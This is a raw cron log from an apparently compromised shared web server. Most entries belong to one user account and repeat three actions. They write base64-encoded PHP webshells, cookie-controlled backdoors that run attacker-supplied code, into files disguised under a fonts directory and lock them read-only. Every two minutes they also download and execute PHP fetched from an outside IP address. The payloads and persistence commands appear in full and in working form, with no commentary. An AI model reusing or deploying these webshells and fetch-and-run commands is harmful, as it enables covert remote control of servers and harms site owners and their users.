Sep 12 08:31:01 ip-184-168-122-23 CROND[26957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:31:01 ip-184-168-122-23 CROND[26955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:31:01 ip-184-168-122-23 CROND[26956]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 08:32:01 ip-184-168-122-23 CROND[27039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:32:01 ip-184-168-122-23 CROND[27042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:32:01 ip-184-168-122-23 CROND[27041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:32:01 ip-184-168-122-23 CROND[27043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:32:01 ip-184-168-122-23 CROND[27044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:33:01 ip-184-168-122-23 CROND[27171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:33:01 ip-184-168-122-23 CROND[27176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:33:01 ip-184-168-122-23 CROND[27174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:33:01 ip-184-168-122-23 CROND[27175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:34:01 ip-184-168-122-23 CROND[27295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:34:01 ip-184-168-122-23 CROND[27296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:34:01 ip-184-168-122-23 CROND[27297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:34:01 ip-184-168-122-23 CROND[27300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:34:01 ip-184-168-122-23 CROND[27303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:35:02 ip-184-168-122-23 CROND[27508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:35:02 ip-184-168-122-23 CROND[27511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:35:02 ip-184-168-122-23 CROND[27513]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 08:35:02 ip-184-168-122-23 CROND[27519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:35:02 ip-184-168-122-23 CROND[27516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:35:02 ip-184-168-122-23 CROND[27517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:35:02 ip-184-168-122-23 CROND[27518]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 08:35:02 ip-184-168-122-23 CROND[27520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:36:02 ip-184-168-122-23 CROND[27617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:36:02 ip-184-168-122-23 CROND[27622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:36:02 ip-184-168-122-23 CROND[27619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:36:02 ip-184-168-122-23 CROND[27620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:36:02 ip-184-168-122-23 CROND[27621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:37:01 ip-184-168-122-23 CROND[27720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:37:01 ip-184-168-122-23 CROND[27721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:37:01 ip-184-168-122-23 CROND[27724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:37:01 ip-184-168-122-23 CROND[27723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:38:02 ip-184-168-122-23 CROND[27829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:38:02 ip-184-168-122-23 CROND[27831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:38:02 ip-184-168-122-23 CROND[27832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:38:02 ip-184-168-122-23 CROND[27834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:38:02 ip-184-168-122-23 CROND[27833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:39:01 ip-184-168-122-23 CROND[27957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:39:01 ip-184-168-122-23 CROND[27959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:39:01 ip-184-168-122-23 CROND[27961]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 08:39:01 ip-184-168-122-23 CROND[27960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:39:01 ip-184-168-122-23 CROND[27962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:40:01 ip-184-168-122-23 CROND[28151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:40:01 ip-184-168-122-23 CROND[28153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:40:01 ip-184-168-122-23 CROND[28155]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:40:01 ip-184-168-122-23 CROND[28154]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:40:01 ip-184-168-122-23 CROND[28156]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:40:01 ip-184-168-122-23 CROND[28157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:40:01 ip-184-168-122-23 CROND[28160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:40:01 ip-184-168-122-23 CROND[28163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:41:02 ip-184-168-122-23 CROND[28272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:41:02 ip-184-168-122-23 CROND[28270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:41:02 ip-184-168-122-23 CROND[28271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:41:02 ip-184-168-122-23 CROND[28273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:42:01 ip-184-168-122-23 CROND[28392]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:42:01 ip-184-168-122-23 CROND[28395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:42:01 ip-184-168-122-23 CROND[28396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:42:01 ip-184-168-122-23 CROND[28398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:42:01 ip-184-168-122-23 CROND[28402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:43:01 ip-184-168-122-23 CROND[28503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:43:01 ip-184-168-122-23 CROND[28504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
